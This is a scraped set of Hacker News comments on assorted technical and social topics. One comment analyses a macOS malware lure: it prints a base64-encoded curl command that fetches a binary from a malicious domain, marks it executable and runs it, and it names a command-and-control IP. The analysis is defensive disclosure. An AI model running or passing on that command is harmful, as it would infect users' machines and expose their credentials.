MurphyA/hacker-news huggingface dataset:
RL algorithms are less bitter-lesson-pilled than 2015-era deep learning
by rajap | 2025-10-21 06:29:25+00:00
The real issue isn't reward shaping or curriculum learning - everyone complains about those. The deeper problem is that we're hardcoding the credit assignment timescale into our algorithms.

Discount factors (γ), n-step returns, GAE λ parameters - these are human priors about temporal abstraction baked directly into the learning signal. PPO's GAE(λ) literally tells the algorithm "here's how far into the future you should care about consequences." We're not learning this, we're imposing it. Different domains need different λ values. That's manual feature engineering, RL-style.

Biological learning doesn't have a global discount factor slider. Dopamine and temporal difference learning in the brain operate at multiple timescales simultaneously - the brain learns which timescales matter for which situations. Our algorithms? They get a single γ parameter tuned by grad students.

Even worse: exploration strategies are domain-specific hacks. ε-greedy for Atari, continuous noise processes for robotics, count-based bonuses for sparse rewards. We're essentially doing "exploration engineering" for each domain, like it's 2012 computer vision all over again.

Compare this to supervised learning circa 2015: we stopped engineering features and just scaled transformers. The architecture learned what mattered. RL in 2025? Still tweaking γ, λ, exploration coefficients, entropy bonuses for every new task.

True bitter-lesson compliance would mean learning your own temporal abstractions (dynamic γ), learning how to explore (meta-RL over exploration strategies), and learning credit assignment windows (adaptive eligibility traces). Some promising directions exist - options frameworks, meta-RL, world models with learned abstraction - but they're not mainstream because they're compute-hungry and unstable. We keep returning to human priors because they're cheaper. That's the opposite of the bitter lesson.

The irony is stark: RL researchers talk about "end-to-end learning" while manually tuning the most fundamental learning signal parameters. Imagine if vision researchers were still manually setting feature detector orientations in 2025. That's where RL is.

I predict: The next major RL breakthrough won't come from better policy gradient estimators. It'll come from algorithms that discover their own temporal abstractions and exploration strategies through meta-learning at scale. Only then will RL be bitter-lesson-pilled.
by jchw | 2025-10-21 06:29:49+00:00
I've been testing web software that I work on with Servo and Ladybird. I'm pretty impressed!

Servo has some areas where it performs very well, though support for things like CSS Grid are still experimental and off by default (but working pretty well), and it's missing a few important APIs still. (I haven't checked in a while but last I looked it was missing AbortController. That's pretty unfortunate and probably breaks a lot of random stuff across the web.

I think Ladybird in Nixpkgs still doesn't have fully working hardware acceleration, so I'm probably not seeing the full smoothness Ladybird can offer in an optimal setup. Still! It runs pretty well, and it supports a vast majority of the web platform. Right now for my own development, the only major two omissions I've noticed are Origin Private File System, which is pretty new, and OffscreenCanvas, which actually is "implemented" but only as a stub. Throwing Web Workers and heavy WebAssembly workloads at Ladybird seems like no problem at all, and it renders a very reasonable subset of modern CSS almost perfectly.

(Tangent: Ladybird Web Workers are actually separate processes, which is kind of funny. If one runs out of control, you can literally SIGKILL it. The browser copes with this seemingly fine!)

Unfortunately, a lot of the web uses libraries and frameworks that are happy to eagerly adopt web standards and technologies that are not supported by browsers from a year or two ago. While I realize a lot of these standards were created specifically to solve problems that real developers have, I've been unimpressed watching this play out. Often new technologies increase complexity to solve relatively minor already-manageable issues with the web platform, and I feel like it is counterproductive to fatten up the web platform just for that. I mean really. There eventually has to be a point where we all agree that there is simply too much CSS technology and there is little justification to add more, but yet it just continues to grow uncontrollably. (I'm not saying it's all bad, though. Personally, I think the text-wrap additions were actually pretty nice things that really do need to be part of the layout engine.)
by Perseids | 2025-10-21 06:29:58+00:00
> If people moved to other providers, things would still go down, more likely than not it would be more downtime in aggregate, just spread out so you wouldn't notice as much.

That is the point, though: Correlated outages are worse than uncorrelated outages. If one payment provider has an outage, chose another card or another store and you can still buy your goods. If all are down, no one can shop anything[1]. If a small region has a power blackout, all surrounding regions can provide emergency support. If the whole country has a blackout, all emergency responders are bound locally.

[1] Except with cash – might be worth to keep a stash handy for such purposes.
by sparkie | 2025-10-21 06:30:09+00:00
> Using 16 bits may be risky on recent x86. For example, IIRC Linux enables 5-level page tables on microarchitectures that support it, which can put valid address data in bits 48-56.

Linux will not allocate past the 47-bit range, even with 5-level paging enabled, unless specifically requested, by providing a pointer hint to `mmap` with a higher address.

https://www.kernel.org/doc/html/v5.14/x86/x86_64/5level-pagi...
by croes | 2025-10-21 06:31:36+00:00
Let‘s take a sledgehammer to crack nut. I guess the next step is: ChatGPT, how much is 2+2?

No wonder we need a lot more power plants. Who cares how much CO2 is released alone to build them. No wonder we don’t make real progress in stopping climate change.

What about the everything machine called brain?
by president_zippy | 2025-10-21 06:32:35+00:00
You might be right about the hours the teachers work, but they're not doing it to avoid being fired. It is entirely self-imposed stress. Teachers have unions and tenure. I'll help people, but I won't martyr myself in a hospital, let alone a frickin' tech company.

I don't consider 60 hour work weeks a privilege to be coveted, especially if I'm capturing less than 1% of the value I produce. I'm sorry man, but white collar serfdom is still serfdom.

If you're really going to keep begging this hard to be a serf on someone else's fiefdom, I'll tell you what: you can keep overworking yourself as serf on fiefdoms in which I might own shares, and increase the value of my portfolio for me, so I can draw even more passive income every month. I formally withdraw my protest to your "Protestant" work ethic.

I'm not trying to be an asshole, but I'm just hoping you take what I'm saying burns into your subconscious and something in you changes: that work into which you've placed so much of your self-esteem is just funding other peoples' passive income to either not work or live ostentatiously. If that's a great privilege to you, God bless you. I'm sure my wife would love it if I just retired- please make it happen, she would love me even more for it.

EDIT: P.S. Your "privilege" of working for Jeff Bezos' portfolio sounds a lot like a biblical curse. Specifically, 1 Samuel 8:10-18 and Psalm 105:44.

"He gave them the lands of the nations, that they might inherit the fruit of others’ labor"
by sparkie | 2025-10-21 06:33:26+00:00
You don't need the hardware UAI/LAM to make use of the high pointer bits. The most common technique is to use `shl reg, 16; sar reg, 16`, which will shift in ones or zeros from the left depending on the 47th bit.

Several runtimes use high bits tagging combined with NaN-boxing, and have been doing so since before LAM/UAI existed.
by pamelafox | 2025-10-21 06:35:22+00:00
Yes, AI Search has a new agentic retrieval feature that includes synthetic query generation: https://techcommunity.microsoft.com/blog/azure-ai-foundry-bl... You can customize the model used and the max # of queries to generate, so latency depends on those factors, plus the length of the conversation history passed in. The model is usually gpt-4o or gpt-4.1 or the -mini of those, so it's the standard latency for those. A more recent version of that feature also uses the LLM to dynamically decide which of several indices to query, and executes the searches in parallel.

That query generation approach does not extract structured data. I do maintain another RAG template for PostgreSQL that uses function calling to turn the query into a structured query, such that I can construct SQL filters dynamically. Docs here: https://github.com/Azure-Samples/rag-postgres-openai-python/...

I'll ask the search about SPLADE, not sure.
by seltzered_ | 2025-10-21 06:35:37+00:00
An update to this, it sounds like there's a possibility it was a collision with a WindBorne weather balloon not space debris - see https://x.com/johndeanl/status/1980462264974209292 & (or https://bsky.app/profile/planet4589.bsky.social/post/3m3oeoc... )
by toast0 | 2025-10-21 06:35:39+00:00
If you only need 20 Gb/s, you might be able to meet your needs without an exotic distributed filesystem by just getting a single giant server with a rack full of JBODs:

Something like this [1] gets you 44 disks in 4u. You can probably fit 9 of those and a server with enough HBAs to interface with it in a 42U rack. 9x44x20TB = not quite 8 PB. Adjust for redundancy and/or larger drives. If you go with SAS drives, you can have two servers connected to the drives, with failover. Or you can setup two of these racks in different locations and mirror the data (somehow).

[1] https://www.supermicro.com/en/products/chassis/4U/847/SC847E... (as an illustration, sas jbods aka disk shelves are widely available from server vendors)
by scambier | 2025-10-21 06:36:40+00:00
Quick request, if it's doable: would you mind making a portable version of this? We're super locked down on our machines (even as developers), and all programs that need to be installed need to be approved. Portable programs fly under the radar, so they're easier to try discreetly, then we can make an official request to get them approved or buy a license.

Edit: oh my, you also made Insomnia, that I used when Postman was on the enshittification path...
by meander_water | 2025-10-21 06:37:28+00:00
Why wouldn't you use OP's approach to build up the representative embeddings, and then train the MLP on that?

That way you can effectively handle open sets and train a more accurate MLP model.

With your approach I don't think you can get a representative list of N tweets which covers all possible categories. Even if you did, the LLM would be subject to context rot and token limits.
by foxglacier | 2025-10-21 06:38:15+00:00
You don't need a controlled experiment if you have a good enough understanding of the mechanism, such as with parachutes. But since they apparently had no idea how peanut allergies worked nor had any adequate studies, they should have just shrugged their shoulders when asked for advice.

Even with parachutes, you could do a study (not a RCT) by looking at historical cases of people falling with and without parachutes. The effect would be so strong that you wouldn't need those clever statistical tricks to tease it out.
by zkmon | 2025-10-21 06:38:33+00:00
Yes, when the mind is over-confident of it's education and perceptions, it starts to disobey the signals from body and force the body to follow what mind says. That's when the mind loses the support of knowledge encoded in the body, the knowledge which wass collected through evolution.

The mind tries to compensate the loss with experimentation that can't undergo the same extent of evolution. Then it dictates body to follow the results of these puny and tiny experiments, and ignores the rich knowledge already encoded in the body.
Show HN: Zeitgeist – Stories for You
by surrTurr | 2025-10-21 06:39:28+00:00
Hi HN!

Recently, I looked at my old Instagram Stories and thought: Wow, Stories feel much more immersive than normal photos in my Gallery! The catch: I always have to publish them.

*Zeitgeist* fixes that. It’s a story camera for yourself. No followers, no posting. Just private stories you can look back on.

*What it does*

* Shoot in the familiar story format (photo/video), then add text, GIFs, Memos and more. * View your stories on a Grid / Map * Everything stays on your device/iCloud. No account. No feed.

*That's it*

The app is completely free; in the future I may add some paid cosmetic IAPs but nothing major like ads or feature blockers.

If you want to try it out: https://apps.apple.com/de/app/zeitgeist-stories-for-you/id67...
by hulitu | 2025-10-21 06:39:58+00:00
> it wouldn't be calling their leaders drug lords, cutting off foreign aid, engaging in extrajudicial killings off their shores, threatening them with carrier groups, violating previously agreed-upon trade deals, etc.

The world policeman is doing world policeman things. Luckily things are starting to get worse for the world policeman so those things might happen less.
by bean469 | 2025-10-21 06:40:27+00:00
> Average hours worked is more or less monotonically decreasing since the start of the industrial revolution

Although that is true when comparing the start of the Industrial revolution and now, people worked less hours before the Industrial revolution [1]. Comparing the hours of work per year in England between the 17th century and the 19th century, there has been an increase of 80%. Most interestingly, the real average weekly wages over the same time period have slightly decreased, while the GDP has increased by 50%.

1. https://www.youtube.com/watch?v=hvk_XylEmLo
by sparkie | 2025-10-21 06:41:57+00:00
There's numerous techniques used. Many are covered in Gudeman's 1993 paper "Representing Type Information in Dynamically Typed Languages"[1], which includes low-bits tagging, high-bits tagging, and NaN-boxing.

The high bits let us tag more types, and can be used in conjunction with low bits tagging. Eg, we might use the low bits for GC marking.

[1]:https://web.archive.org/web/20170705085007/ftp://ftp.cs.indi...
by foxrider | 2025-10-21 06:44:43+00:00
Must be a regional thing, because where I live, mass internet adoption pretty much started in the 90s with the dedicated Ethernet connections. As such, every PC had its own IP address, it was a time before home routers. Later, the dreaded NAT was introduced, but the ISPs kept their "LAN" networks free. People hosted all sorts of things. It was a common practice for people to host an FTP server, a game server, an IRC and such on their home computers, and that "LAN" was not subject to the internet speed limit that was capped at around 600kb/s while the LAN would go as fast as the hardware allowed.
by uecker | 2025-10-21 06:46:02+00:00
Bounds sanitizer with trapping is used in the wild by important projects, e.g. the Linux kernel on various mobile devices.

WG14 is also working on such topics, so this is more your ignorance speaking. But complaining on the internet about the work of volunteers is rather bad style anyway, IMHO.

I am not sure what VLA on the stack have to do with it, but VLAs certainly enable bounds checking when used. The more important thing is the type system part.
Show HN: We Turned Codex Into In-browser AI Agent!!
by imooc | 2025-10-21 06:47:04+00:00
A few months ago, OpenAI open-sourced their incredible CLI coding tool Codex — a project we at AI Republic have loved and used heavily in our own development.

Today, we’re excited to share something more exciting: we’ve transformed Codex into a fully autonomous, privacy-preserving AI agent that runs right inside your browser.

This new in-browser agent can understand your natural-language commands and perform real tasks directly within the web pages you’re already using — no backend, no data leaving your device, just pure local intelligence.

Try it out and see the future of your work automation:https://github.com/The-AI-Republic/browserx

Here is demo: https://youtu.be/Aevz0Emz-b8
by Tuna-Fish | 2025-10-21 06:47:31+00:00
No. It's strictly because of travel time from the "observed spot" to the camera. He explains it in the back half of the video, but for his setup (and every camera everywhere, including your eyes!), it doesn't matter just how long light took to get to the point where it scatters, but also how long it takes for it to get from that point to the detector. If the camera is placed far enough to the side, that time delay is close enough to identical for all samples, but if the camera is in line with the laser, there is a substantial time difference for light scattering close to the camera to light scattering near the far wall.
by guessmyname | 2025-10-21 06:48:07+00:00
Here you go, fellow netizen:

echo -n 'Y3VybCAtc0wgLW8gL3RtcC9wakttTVVGRVl2OEFsZktSIGh0dHB zOi8vd3d3LmFtYW5hZ2VuY2llcy5jb20vYXNzZXRzL2pzL2dyZWNhcHRja GE7IGNobW9kICt4IC90bXAvcGpLbU1VRkVZdjhBbGZLUjsgL3RtcC9wakt tTVVGRVl2OEFsZktS' | base64 --decode

Decodes into:

curl -sL -o /tmp/pjKmMUFEYv8AlfKR https://www.amanagencies.com/assets/js/grecaptcha; chmod +x /tmp/pjKmMUFEYv8AlfKR; /tmp/pjKmMUFEYv8AlfKR

This downloads a Mach-O universal binary:

$ curl -o foo.bar "URL" $ file ~/Downloads/foo.bar foo.bar: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64 - Mach-O 64-bit executable x86_64] [arm64:Mach-O 64-bit executable arm64 - Mach-O 64-bit executable arm64] foo.bar (for architecture x86_64): Mach-O 64-bit executable x86_64 foo.bar (for architecture arm64): Mach-O 64-bit executable arm64

VirusTotal report: https://www.virustotal.com/gui/file/5f3cac5d37cb6cabaf223dc0...

Reading through the VirusTotal Behavior page, I can see that the Trojan…

• Sends a POST request with 18 bytes to http://83.219.248.194/fulfulde.php, which then returns a text/html page

• Then, it sends DNS queries to h3.apis.apple.map.fastly.net (or maybe this is macOS itself)

• Then, it triggers several open(2) syscalls, among which I can see Mail.app and Messages.app

• Then, it uses a seemingly innocuous binary called “~/.local-6FFD23F2-D3F2-52AC-8572-1D7B854F8BC7/GoogleUpdater” along with “~/Desktop/sample”

• Then, launches a process (via macOS Lauch Agents) called “com.google.captchasvc”

• Then, uses AppleScript to launch a dialog window with this message “macOS needs to access System Settings.Please enter password for root:”

After this I assume it’s game over.

TrendMicro analysis (Sep 04, 2025) -- https://www.trendmicro.com/en_us/research/25/i/an-mdr-analys...
by raffraffraff | 2025-10-21 06:48:41+00:00
But if you got one test saying "Detected a fragment of pancreatic cancer DNA" two days later another saying "Didn't see any cancerous DNA fragments" what would the actual effect on the doctor or patient be? Who'll take the risk and say "the first was a false positive"?

Also, these tests are a grand a pop if I'm reading it directly (which I may not be)
by clayhacks | 2025-10-21 06:50:37+00:00
It seems like the clandestine nature of these attacks gives enough plausible deniability for the nations to not pick up arms. China has done a few comparable attacks on US assets, but the US hasn’t escalated on those in the past.

Personally I think if one of these cyber attacks either hit a large/important enough civilian target, like shutting down a power grid for days, or a reasonably important military target, like a helicopter midair or something, then escalation might happen, but hard to say
by userbinator | 2025-10-21 06:52:13+00:00
ARM64 has many registers but I believe the lack of suitably large immediate values and, apparently, compilers that are willing to use them all across functions, puts it at a disadvantage here. Assuming we want the return value in eax and the leading count comes in cl, this can be done branchlessly and data-lessly on x86 as follows:

mov eax, 0x00043201 test cl, 8 setz al shl cl, 2 shr eax, cl and eax, 15

Something similar may be possible on ARM64, but I suspect it will definitely be more than 19 bytes ;-)
by melooooooo | 2025-10-21 06:52:16+00:00
I've been putting together a tool called Sora2 Video Studio, and I'd love for you all to give it a spin. I created it because I found the process of generating AI videos a bit scattered – jumping between prompts, waiting for renders, and trying to keep everything organized wasn't ideal. Sora2 Video Studio brings it all into one dashboard. Essentially, you can use text prompts or even reference images to craft video clips. There's a queue for your renders, and you can watch their progress live. I tried to make it a straightforward workspace for planning out your ideas and managing the output efficiently. I'm offering some free credits so you can try it out and see what you think. Just sign in with Google to get started. This is still early days for me, and I'm really keen to hear your honest feedback and suggestions. Feel free to drop me a line at support@sora2video.blog.
by jjcob | 2025-10-21 06:52:26+00:00
I think people seek out these restrictions on their own. Almost everyone I know has some sort of belief about what's healthy and what isn't.

Some people become vegetarians, some people become vegans, some people believe eating big steaks of red meat is healthy, some people avoid pork, others do not eat cooked food on some days of the week, others eat only fish on special holidays, some people tell you that yoghurt is good for your gut, others tell you to avoid dairy at all cost, some tell you to avoid carbohydrates, ....

Some of these are backed by science, some are batshit crazy, some are based on individual preferences.

I don't think this is a new phenomenon. People just love coming up with rules, and even if our society allows you to eat pretty much whatever you want, people still seek out restrictions for themselves (and their kids...)
by DocTomoe | 2025-10-21 06:53:17+00:00
Yes.

I have a background in East Asian cultural studies. A lot more expressions are done via the eyes there rather than the mouth. For the uninitiated, it's subtle, but once you get used to it, it becomes more obvious.

Anthropologists call that display rules and encoding differences. Cultures don’t just express emotion differently, but they also read it differently. A Japanese smile can be social camouflage, while an American smile signals approachability. I guess that's why western animation over-emphasizes the mouth, while eastern animation tend to over-emphasize the eyes.

Why would Yakutian, Indio or Namib populations not have similar phenomeon an AI (or a stereotypical white westerner who does not excessively study those societies/cultures) would not immediately recognise?

AI trained on Western facial databases inherits those perceptual shortcuts. It "learns" to detect happiness by wide mouths and visible teeth, sadness by drooping lips - so anything outside that grammar registers as neutral or misclassified.

And it gets reinforced by (western) users: a hypothetical 'perfect' face-emotion-identification AI would probably be percieved a less reliable to the white western user than the one that mirrors the biasses.
by alfrednerstu | 2025-10-21 06:56:19+00:00
SEEKING WORK. Location: Copenhagen / Remote (CET).

Lead UI/Product designer focused on mobile apps, web platforms and design systems.

I'm looking for fractional design role to rise design level, establish design system, do product-first branding, help build design team.

I've previously worked at Bang & Olufsen and ustwo.

I have experience from automotive/mobility, health-tech, foundation/NGO, fintech, music production software among others.

Reach out to alfred@nerstu.com for CV/Portfolio.

Linkedin: https://linkedin.com/in/alfrednerstu

Have a good day!